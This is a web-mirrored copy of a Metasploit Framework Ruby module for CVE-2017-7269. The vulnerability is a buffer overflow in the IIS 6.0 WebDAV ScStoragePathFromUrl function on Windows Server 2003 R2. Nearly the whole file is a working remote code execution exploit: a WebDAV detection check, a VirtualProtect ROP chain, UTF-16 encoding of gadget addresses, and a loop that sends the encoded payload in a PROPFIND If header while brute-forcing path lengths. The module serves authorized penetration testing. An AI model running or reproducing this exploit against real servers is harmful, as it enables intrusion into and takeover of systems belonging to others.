Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
16
'Description' => %q{
17
Buffer overflow in the ScStoragePathFromUrl function
18
in the WebDAV service in Internet Information Services (IIS) 6.0
19
in Microsoft Windows Server 2003 R2 allows remote attackers to
20
execute arbitrary code via a long header beginning with
21
"If: <http://" in a PROPFIND request, as exploited in the
22
wild in July or August 2016.
23
24
Original exploit by Zhiniang Peng and Chen Wu.
25
},
26
'Author' => [
27
'Zhiniang Peng', # Original author
28
'Chen Wu', # Original author
29
'Dominic Chell <[email protected]>', # metasploit module
30
'firefart', # metasploit module
31
'zcgonvh <[email protected]>', # metasploit module
32
'Rich Whitcroft', # metasploit module
33
'Lincoln' # minor updates to metasploit module
34
],
35
'License' => MSF_LICENSE,
36
'References' => [
37
[ 'CVE', '2017-7269' ],
38
[ 'BID', '97127' ],
39
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
40
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
41
],
42
'Privileged' => false,
43
'Payload' => {
44
'Space' => 2000,
45
'BadChars' => "\x00",
46
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
47
'DisableNops' => true,
48
'EncoderOptions' =>
49
{
50
'BufferRegister' => 'ESI',
51
}
52
},
53
'DefaultOptions' => {
54
'EXITFUNC' => 'process',
55
'PrependMigrate' => true,
56
},
57
'Targets' => [
58
[
59
'Microsoft Windows Server 2003 R2 SP2 x86',
60
{
61
'Platform' => 'win',
62
'Arch' => ARCH_X86
63
},
64
],
65
],
66
'Platform' => 'win',
67
'DisclosureDate' => '2017-03-26',
68
'DefaultTarget' => 0,
69
'Notes' => {
70
'AKA' => ['EXPLODINGCAN'],
71
'Stability' => [CRASH_SERVICE_DOWN],
72
'Reliability' => [REPEATABLE_SESSION],
73
'Side Effects' => [],
74
'SideEffects' => UNKNOWN_SIDE_EFFECTS
75
}
76
)
77
)
78
79
register_options(
80
[
81
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
82
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
83
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
84
]
85
)
86
end
87
88
def min_path_len
89
datastore['MINPATHLENGTH']
90
end
91
92
def max_path_len
93
datastore['MAXPATHLENGTH']
94
end
95
96
def supports_webdav?(headers)
97
if headers['MS-Author-Via'] == 'DAV' ||
98
headers['DASL'] == '<DAV:sql>' ||
99
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
100
headers['Public'].to_s.include?('PROPFIND') ||
101
headers['Allow'].to_s.include?('PROPFIND')
102
return true
103
end
104
105
false
106
end
107
108
def check
109
res = send_request_cgi({
110
'uri' => target_uri.path,
111
'method' => 'OPTIONS'
112
})
113
114
unless res
115
vprint_error 'Connection failed'
116
return Exploit::CheckCode::Unknown
117
end
118
119
unless supports_webdav? res.headers
120
vprint_status 'Server does not support WebDAV'
121
return CheckCode::Safe
122
end
123
124
if res.headers['Server'].to_s.include? 'IIS/6.0'
125
return CheckCode::Vulnerable
126
end
127
128
CheckCode::Detected
129
end
130
131
# corelan.be
132
# rop chain generated with mona.py
133
def create_rop_chain
134
[
135
# MSVCRT.dll - all Windows 2003
136
0x77bcb06c, # POP ESI # RETN
137
0x77bef001, # Write pointer # Garbage
138
0x77bb2563, # POP EAX # RETN
139
0x77ba1114, # <- *&VirtualProtect()
140
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
141
0x41414141, # junk
142
0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
143
0x77bc9801, # POP EBP # RETN
144
0x77be2265, # ptr to 'push esp # ret'
145
0x77bb2563, # POP EAX # RETN
146
0x03C0946F,
147
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
148
0x77bb48d3, # POP EBX, RET
149
0x77bf21e0, # .data
150
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
151
0x77bbfc02, # POP ECX # RETN
152
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
153
0x77bd8c04, # POP EDI # RETN
154
0x77bd8c05, # ROP NOP (-> edi)
155
0x77bb2563, # POP EAX # RETN
156
0x03c0944f,
157
0x77bdd441, # SUB EAX, 03c0940f
158
0x77bb8285, # XCHG EAX,EDX # RETN
159
0x77bb2563, # POP EAX # RETN
160
0x90909090, # nop
161
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
162
].pack("V*")
163
end
164
165
# encode string as UTF-8 char format that when converted to UTF-16LE
166
# will represent chars we want in memory
167
def utf_encode_str(str)
168
str.force_encoding('UTF-16LE').encode('UTF-8')
169
end
170
171
# filler chars to be encoded
172
def make_junk(len)
173
utf_encode_str rand_text_alpha(len)
174
end
175
176
def exploit
177
# extract the local servername and port from a PROPFIND request
178
# these need to be the values from the backend server
179
# if testing a reverse proxy setup, these values differ
180
# from RHOST and RPORT but can be extracted this way
181
vprint_status('Extracting ServerName and Port')
182
res = send_request_raw(
183
'method' => 'PROPFIND',
184
'headers' => {
185
'Content-Length' => 0
186
},
187
'uri' => target_uri.path
188
)
189
fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if (res.nil? || res.code != 207)
190
191
xml = res.get_xml_document
192
url = URI.parse(xml.at("//a:response//a:href").text)
193
server_name = url.hostname
194
server_port = url.port
195
server_scheme = url.scheme
196
197
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
198
vprint_status("Using http_host #{http_host}")
199
200
print_status "Trying path length #{min_path_len} to #{max_path_len} ..."
201
202
min_path_len.upto(max_path_len) do |path_len|
203
vprint_status("Trying path length of #{path_len}...")
204
205
begin
206
buf1 = "<#{http_host}/"
207
buf1 << rand_text_alpha(114 - path_len)
208
buf1 << make_junk(32)
209
# survive SHR instruction 0x02020202
210
buf1 << utf_encode_str([0x02020202].pack('V'))
211
# str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
212
buf1 << utf_encode_str([0x680312c0].pack('V'))
213
buf1 << make_junk(40)
214
# 0x680313c0 -> destination pointer used with memcpy
215
buf1 << utf_encode_str([0x680313c0].pack('V'))
216
buf1 << ">"
217
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
218
buf1 << rand_text_alpha(114 - path_len)
219
buf1 << make_junk(28)
220
# 0x680313c0 -> pointer to call itself at same address for vtable call
221
buf1 << utf_encode_str([0x680313c0].pack('V'))
222
# ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
223
# msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
224
buf1 << utf_encode_str([0x77bdf38d].pack('V'))
225
buf1 << make_junk(8)
226
# 0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
227
# point to itself at [eax]
228
buf1 << utf_encode_str([0x680313c0].pack('V'))
229
buf1 << make_junk(16)
230
# ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
231
# which also points to new ESP
232
buf1 << utf_encode_str([0x68016082].pack('V'))
233
buf1 << utf_encode_str(create_rop_chain)
234
# GetPC # push esp; pop esi; add esi, 10
235
buf1 << utf_encode_str("\x54\x5e\x83\xc6")
236
# GetPC ESI +10 plus encode alignment
237
buf1 << utf_encode_str("\x0a\x41")
238
buf1 << payload.encoded
239
buf1 << ">"
240
241
vprint_status 'Sending payload'
242
res = send_request_raw(
243
'method' => 'PROPFIND',
244
'uri' => target_uri.path,
245
'headers' => {
246
'Content-Length' => 0,
247
'If' => "#{buf1}"
248
}
249
)
250
next unless res
251
252
vprint_status("Server returned status #{res.code}")
253
next if res.code == 502 || res.code == 400
254
255
return if session_created?
256
257
vprint_status("Unknown Response: #{res.code}")
258
rescue ::Errno::ECONNRESET
259
vprint_status('got a connection reset')
260
next
261
end
262
end
263
end
264
end
265
266